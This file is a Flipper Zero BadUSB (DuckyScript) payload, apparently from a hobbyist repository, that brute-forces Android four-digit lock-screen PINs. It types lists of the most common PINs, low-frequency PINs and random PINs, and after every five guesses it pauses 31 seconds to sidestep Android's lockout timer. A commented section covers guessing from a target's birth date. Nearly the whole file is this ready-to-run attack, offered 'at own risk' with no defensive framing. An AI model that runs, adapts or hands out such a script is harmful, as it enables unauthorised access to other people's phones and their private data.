flipper-zero-stuff/badusb/Android_top65_4digit_pin_bf.txt

REM Android Password Brute Force - 4 digit pin
REM Every 5th attempt the retry waits to work around the 30s timeout Android implements after 5 failed login attempts
REM Uncomment bottom of script for DOB options
REM Average completion time of script is 12m
REM An exhaustive wordlist is not used because A) it is not assumed device has healthy battery B) time/power constraints of healthy battery
REM Tested on Android 4.4
REM Author: defplex.wordpress.com
REM Modified for Flipper Zero by rf-bandit
REM ***USE AT OWN RISK***

REM top 65 common pins

DELAY 500
STRING 1234
ENTER
DELAY 500
STRING 4321 
ENTER
DELAY 500
STRING 1111 
ENTER
DELAY 500
STRING 2222 
ENTER
DELAY 500
STRING 3333 
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000 

DELAY 500
STRING 4444
ENTER
DELAY 500
STRING 5555
ENTER
DELAY 500
STRING 6666 
ENTER
DELAY 500
STRING 7777 
ENTER
DELAY 500
STRING 8888 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 9999 
ENTER
DELAY 500
STRING 1212 
ENTER
DELAY 500
STRING 1004 
ENTER
DELAY 500
STRING 2000 
ENTER
DELAY 500
STRING 6969 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 1122 
ENTER
DELAY 500
STRING 1313 
ENTER
DELAY 500
STRING 0000 
ENTER
DELAY 500
STRING 2001 
ENTER
DELAY 500
STRING 1010 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 2580 
ENTER
DELAY 500
STRING 1818 
ENTER
DELAY 500
STRING 1230 
ENTER
DELAY 500
STRING 1984 
ENTER
DELAY 500
STRING 1986 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 1985 
ENTER
DELAY 500
STRING 1000 
ENTER
DELAY 500
STRING 1231 
ENTER
DELAY 500
STRING 1987 
ENTER
DELAY 500
STRING 1999 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 2468 
ENTER
DELAY 500
STRING 2002 
ENTER
DELAY 500
STRING 2323 
ENTER
DELAY 500
STRING 1123 
ENTER
DELAY 500
STRING 1233 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 1357 
ENTER
DELAY 500
STRING 1221 
ENTER
DELAY 500
STRING 1324 
ENTER
DELAY 500
STRING 1988 
ENTER
DELAY 500
STRING 2112 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 1004 
ENTER
DELAY 500
STRING 2021 
ENTER
DELAY 500
STRING 5150 
ENTER
DELAY 500
STRING 1024 
ENTER
DELAY 500
STRING 1112 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 1004 
ENTER
DELAY 500
STRING 2021 
ENTER
DELAY 500
STRING 5150 
ENTER
DELAY 500
STRING 1024 
ENTER
DELAY 500
STRING 1112 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 1224 
ENTER
DELAY 500
STRING 1969 
ENTER
DELAY 500
STRING 1225 
ENTER
DELAY 500
STRING 1235 
ENTER
DELAY 500
STRING 1982 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 1001 
ENTER
DELAY 500
STRING 7410 
ENTER
DELAY 500
STRING 1020 
ENTER
DELAY 500
STRING 1223 
ENTER
DELAY 500
STRING 1029 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 1515 
ENTER
DELAY 500
STRING 1213 
ENTER
DELAY 500
STRING 2345 
ENTER
DELAY 500
STRING 2424 
ENTER
DELAY 500
STRING 2525 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000
ENTER

REM Set dervived from the most commonly appearing digits over an average of 1000 most used pins (0123)

ENTER
DELAY 500
STRING 0123 
ENTER
DELAY 500
STRING 1023 
ENTER
DELAY 500
STRING 1203 
ENTER
DELAY 500
STRING 3210 
ENTER
DELAY 500
STRING 2112 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 2121 
ENTER
DELAY 500
STRING 1320 
ENTER
DELAY 500
STRING 3110 
ENTER
DELAY 500
STRING 2111 
ENTER
DELAY 500
STRING 0321 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000
ENTER

REMIncluding the 5 least used pins to factor in target having some OpSec

ENTER
DELAY 500
STRING 8068 
ENTER 
DELAY 500
STRING 8093 
ENTER 
DELAY 500
STRING 6835 
ENTER 
DELAY 500
STRING 9629 
ENTER 
DELAY 500
STRING 7637 
ENTER 
DELAY 500
STRING x 
ENTER 
DELAY 31000
ENTER 

REM Last ditch effort with 4 sets of randomly generated pins

ENTER 
DELAY 500
STRING 6364 
ENTER 
DELAY 500
STRING 6364 
ENTER 
DELAY 500
STRING 6260 
ENTER 
DELAY 500
STRING 8647 
ENTER 
DELAY 500
STRING 0420 
ENTER 
DELAY 500
STRING x 
ENTER 
DELAY 31000
ENTER 


ENTER 
DELAY 500
STRING 8880 
ENTER 
DELAY 500
STRING 8631 
ENTER 
DELAY 500
STRING 1121 
ENTER 
DELAY 500
STRING 2996 
ENTER 
DELAY 500
STRING 6685 
ENTER 
DELAY 500
STRING x 
ENTER 
DELAY 31000
ENTER 


ENTER 
DELAY 500
STRING 9371 
ENTER 
DELAY 500
STRING 3417 
ENTER 
DELAY 500
STRING 9826 
ENTER 
DELAY 500
STRING 2621 
ENTER 
DELAY 500
STRING 8431 
ENTER 
DELAY 500
STRING x 
ENTER 
DELAY 31000
ENTER 


ENTER 
DELAY 500
STRING 1185 
ENTER 
DELAY 500
STRING 2281 
ENTER 
DELAY 500
STRING 5519 
ENTER 
DELAY 500
STRING 8657 
ENTER 
DELAY 500
STRING 6435 
ENTER 
DELAY 500
STRING x 
ENTER 
DELAY 31000
ENTER 

REM If DOB for target is known uncomment and replace xxxx with MMDD, DDMM or YYYY
REM Left at end of script on purpose to keep everything in groups of 5

REM DELAY 500
REM STRING xxxx 
ENTER 
REM DELAY 500
REM STRING xxxx 
ENTER 
REM DELAY 500
REM STRING xxxx 
ENTER 
REM DELAY 500
REM STRING x